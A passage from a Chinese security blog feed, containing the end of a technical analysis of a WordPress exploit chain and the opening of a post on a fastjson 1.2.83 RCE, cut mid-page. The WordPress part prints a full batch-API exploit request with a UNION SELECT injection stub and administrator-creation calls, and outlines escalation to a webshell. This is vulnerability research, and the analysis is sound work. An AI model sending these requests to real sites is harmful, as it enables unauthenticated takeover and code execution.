rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">// wp-includes/class-wp-embed.php</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">// 第 263-267 行：get_post() 从缓存返回被污染的对象</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">$cached_post = get_post( $cached_post_id ); // 可能来自被污染的对象缓存</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">$cache      = $cached_post-&gt;post_content;</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">// 第 332-339 行：wp_update_post() 将稀疏更新与被污染的&#34;原始值&#34;合并</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">if ( $cached_post_id ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    wp_update_post(</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        wp_slash( array(</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">            &#39;ID&#39;           =&gt; $cached_post_id,</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">            &#39;post_content&#39; =&gt; $html,  // 仅提交 ID + content，其他字段从被污染缓存合并</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        ))</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">通过这个机制，内存中的数据被二次写入数据库中。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">虽然但是这种写入并不是说我可以向数据库的任何表写入任何数据，他还是会写入到</span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">wp_posts</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">表中，无法直接控制user表。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">这涉及到了wp的另一个机制。</span></span></span></p><ul style="margin: 0;padding-left: 23px;" class="list-paddingleft-1"><li style="font-weight:bold;font-size:18px;"><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">Customizer 临时切换管理员身份</span></span></span></li></ul><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">Customizer 在保存设置时临时将当前用户切换为 changeset 的原始创建者。如果 changeset 是由管理员创建的，当前请求将临时获得管理员身份。</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">// wp-includes/class-wp-customize-manager.php</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">$original_user_id = get_current_user_id();</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">foreach ( $changeset_setting_ids as $setting_id ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $setting = $this-&gt;get_setting( $setting_id );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    if ( $setting ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        // 临时切换到 changeset 的原始作者（可能是管理员）</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        if ( isset( $setting_user_ids[ $setting_id ] ) ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">            wp_set_current_user( $setting_user_ids[ $setting_id ] );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        } else {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">            wp_set_current_user( $original_user_id );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        }</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        $setting-&gt;save(); // 此处可触发嵌套的 REST dispatch</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">wp_set_current_user( $original_user_id );</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">正常来说，这是一个正常的功能，因为</span></span></span><span><span leaf=""><span textstyle="" style="font-size: 16px;">changeset根本就没有控制创建者的方式，为了统一权限，内部请求本身会遇到权限限制，那就必须加入权限的切换，否则正常功能无法运行。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">但其实这里即便是临时切换管理员，我们也无法做任何控制，关键在于下一步。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">此时触发文章保存，除了以上的刷新以外，就会再次触发</span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">parse_request</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">的hook，再次发起REST请求解析（前面说过这本身就是批量请求这个接口的原场景）</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">add_action( &#39;parse_request&#39;, &#39;rest_api_loaded&#39; );</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">并且在后续的请求中，复用了刚才的状态，也就是被设置为管理员权限的batch</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">public function is_dispatching() {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    return (bool) $this-&gt;dispatching_requests;</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">再次触发REST之后，会重新按照请求再次解析一遍依次执行，但这个时候你已经是管理员权限了，所以可以执行管理员的请求。</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">重入的 serve_request()</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">  → dispatch()</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    → match_request_to_handler(&#34;/batch/v1&#34;) → batch handler</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    → serve_batch_request_v1() ← 整个外层 batch 重新跑</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        → 外层[0] &#34;<a href="http://:" target="_blank">http://:</a>&#34; → ERROR → 跳过</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        → 外层[1] /wp/v2/posts → desync → batch handler</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">            → 读 body.requests → 内层 batch 重新跑</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">                → 内层[0] &#34;<a href="http://:" target="_blank">http://:</a>&#34; → ERROR → 跳过</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">                → 内层[1] /wp/v2/widgets → SQL 注入（这次无所谓）</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">                → 内层[2] /wp/v2/posts → 触发 post 处理</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">                → 内层[3] /wp/v2/users → 管理员身份 → 201 ✅ 创建管理员！</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">                → 内层[4] /wp/v2/users → 管理员身份 → 201 ✅</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">在7.0.2中，当dispatch激活，加载器会提前返回，重入递归不会再进行下去，漏洞就无法利用了</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">// WordPress 7.0.2 — simplified.</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">if ( $this-&gt;is_dispatching() ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    return false;</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">通过这种方式，我们就可以实现管理员权限的任意REST API调用。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">那最终我们在调用创建管理员的API创建超级管理员，后续利用就顺理成章了。</span></span></span></p><h1 style="font-size: 28px;line-height: 1.75em;margin: 8px 0px;text-indent: 0px;text-align: left;"><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">整个流程</span></span></span></h1><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">攻击者（无需认证）</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 1] 发送 REST 批处理请求</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         POST /wp-json/batch/v1</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         包含3个子请求：错误请求 + oEmbed + 恶意查询</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 2] Batch Handler 去同步化（CVE-2026-63030）</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         $requests[0] 错误 → 跳过但 $matches 未补位</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         索引偏移导致路由混乱</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 3] 恶意标量值绕过消毒</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         路由混乱将 unsanitized 标量送入 WP_Query</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         author__not_in 参数未经 absint() 处理</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 4] SQL 注入（CVE-2026-60137）</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         标量值直接拼接进 SQL 语句</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         构造 UNION SELECT 注入恶意数据</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 5] 污染 WP_Post 内存缓存</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         SQL 注入结果被缓存为 WP_Post 对象</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         攻击者控制 post_content 等字段</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 6] oEmbed 刷新 + wp_update_post() 持久化</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         oEmbed 处理器从缓存读取被污染的对象</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         wp_update_post() 仅提交 ID + content</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         其他字段从被污染的缓存&#34;原始值&#34;合并</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         污染数据写入数据库</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 7] 层级修复（Hierarchy Repair）</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         wp_update_post() 触发文章层级关系修复</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         产生更多稀疏更新调用，扩大污染范围</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 8] Customizer 临时切换管理员身份</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         class-wp-customize-manager.php 第 3569-3589 行</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         wp_set_current_user() 切换到 changeset 作者（管理员）</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 9] 动态 Hook 碰撞 → REST 重入</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         Customizer 的 setting-&gt;save() 触发 parse_request hook</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         嵌套的 REST dispatch 继承管理员身份</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">         WP_REST_Server::is_dispatching() 未阻断重入</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 10] 以管理员身份创建管理员账户</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          嵌套 REST dispatch 使用管理员身份</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          调用 user creation API 创建新管理员</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    │</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ▼</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">[Step 11] 安装恶意插件 → 任意代码执行</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          攻击者使用新管理员账户登录</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          上传包含 PHP webshell 的插件</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          实现完整的远程代码执行</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">最后整个利用请求大概长这样</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">POST /?rest_route=/batch/v1 HTTP/1.1</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">Content-Type: application/json</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">{</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">  &#34;requests&#34;: [</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    {&#34;method&#34;: &#34;POST&#34;, &#34;path&#34;: &#34;<a href="http://:" target="_blank">http://:</a>&#34;},</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">      &#34;method&#34;: &#34;POST&#34;,</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">      &#34;path&#34;: &#34;/wp/v2/posts&#34;,</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">      &#34;body&#34;: {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        &#34;requests&#34;: [</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          {&#34;method&#34;: &#34;GET&#34;, &#34;path&#34;: &#34;<a href="http://:" target="_blank">http://:</a>&#34;},</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          {&#34;method&#34;: &#34;GET&#34;, &#34;path&#34;: &#34;/wp/v2/widgets?author_exclude=1)+AND+1=0+UNION+ALL+SELECT+...&#34;},</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          {&#34;method&#34;: &#34;GET&#34;, &#34;path&#34;: &#34;/wp/v2/posts&#34;},</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          {&#34;method&#34;: &#34;POST&#34;, &#34;path&#34;: &#34;/wp/v2/users&#34;, &#34;body&#34;: {&#34;username&#34;:&#34;xxx&#34;,&#34;roles&#34;:[&#34;administrator&#34;]}},</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">          {&#34;method&#34;: &#34;POST&#34;, &#34;path&#34;: &#34;/wp/v2/users&#34;, &#34;body&#34;: {&#34;username&#34;:&#34;xxx&#34;,&#34;roles&#34;:[&#34;administrator&#34;]}}</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        ]</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">      }</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    },</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    {&#34;method&#34;: &#34;POST&#34;, &#34;path&#34;: &#34;/batch/v1&#34;}</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">  ]</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">其实我觉得这个漏洞最精巧的点有两个</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">第一是在SQL注入没有太多价值的情况下，通过控制SQL返回来完成后续利用条件，这个思路很妙，以前遇到过但是大多数都是类似于二次注入的场景。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">第二是非常巧妙地通过REST重入的漏洞来巧妙的实现提权，实话讲完全没想到这里有个重入问题，因为如果不是重入根本无法实现提权，这个权限分级做的非常死。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">在两个非常巧妙的漏洞结合下，实现了几乎最不可能的wp漏洞利用，这种超强的思维拓展，应该算是ai非常优秀的一个场景了</span></span></span></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9d90b133&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484346%26idx%3D1%26sn%3D749018d8cbde606a72975d9cdadd6915">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 24 Jul 2026 15:59:00 +0800</pubDate>
    </item>
    <item>
      <title>2026年了，核弹还是fastjson，fastjson1.2.83 RCE是怎么回事？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484341&amp;idx=1&amp;sn=522af3f09633a3a50db2604e6a6c1435</link>
      <description>古法漏洞分析fastjson 1.2.83RCE</description>
      <content:encoded><![CDATA[<p>原创 <span>LoRexxar</span> <span>2026-07-22 15:59</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fde0d36d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FgIBYXIMwxtvrQ789SuicvOyOF5AhFQuMu2dL2LYDKlOlHrQMbQ8Ocb9xicVdSE9YQJibjtWDJnziaTYcibaAyDaqVZpCCCkdHMh47CjDvCqUX4N8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>古法漏洞分析fastjson 1.2.83RCE</p>
  <p style="text-indent: 0px;text-align: left;margin-top: 16px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 16px;">7月19日，推上的一名安全研究员声称，他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。</span></span></p><p style="text-indent: 0px;text-align: left;margin-top: 16px;line-height: 1.6em;"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545781.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000685" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: inline-block;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a1fd6fa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtsuB9cSgRHWDYdYhhQzuvVHWn323rINtwmnU8G30aGHibgpZAo2frmRDJPauXFx7tjlJIhZTFWHBuRuHVQe4ULaThb9elgXHQw0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n228" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">Fastjson虽然已经停止维护1版本，但是1版本的Fj依旧是互联网上应用最多的Java JSON库之一，虽然1.2.83没有在维护，但是在长期和fastjson对抗的时间里，83版本仅可以基于expectClass和第三方库构成的gadget做的极其有限的攻击利用，几乎无法RCE，所以很多厂家没有选择更新到FJ2增加不确定性。</span></span></span></p><p cid="n229" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">在过去的1天多时间内，基于作者的部分信息，大家正在逐渐探索出了漏洞的真相</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">。</span></span></span></p><p cid="n230" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在7月22日，原作者公开了他们的研究文档</span></span></span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://fearsoff.org/cn/research/fastjson-1-2-83-rce" target="_blank">https://fearsoff.org/cn/research/fastjson-1-2-83-rce</a></span></span></span></p><p cid="n231" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545358.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace;display: inline-block;width: 964px; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000683" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin-right: auto;margin-bottom: auto;margin-left: auto;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4c90e6cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxttCyaL4JSbQTPyEaFNvs5ianpHfpM44IUPbE4WwgaSFORcI6Fia5ibbIWiab0U5nhBEwp2F9kwcQqyNj2nBEyPcZJb85BOqUHw2Zn4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><h1 cid="n232" mdtype="heading" style=" box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 16px;margin-bottom: 1rem; font-weight: bold;line-height: 1.6em;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI 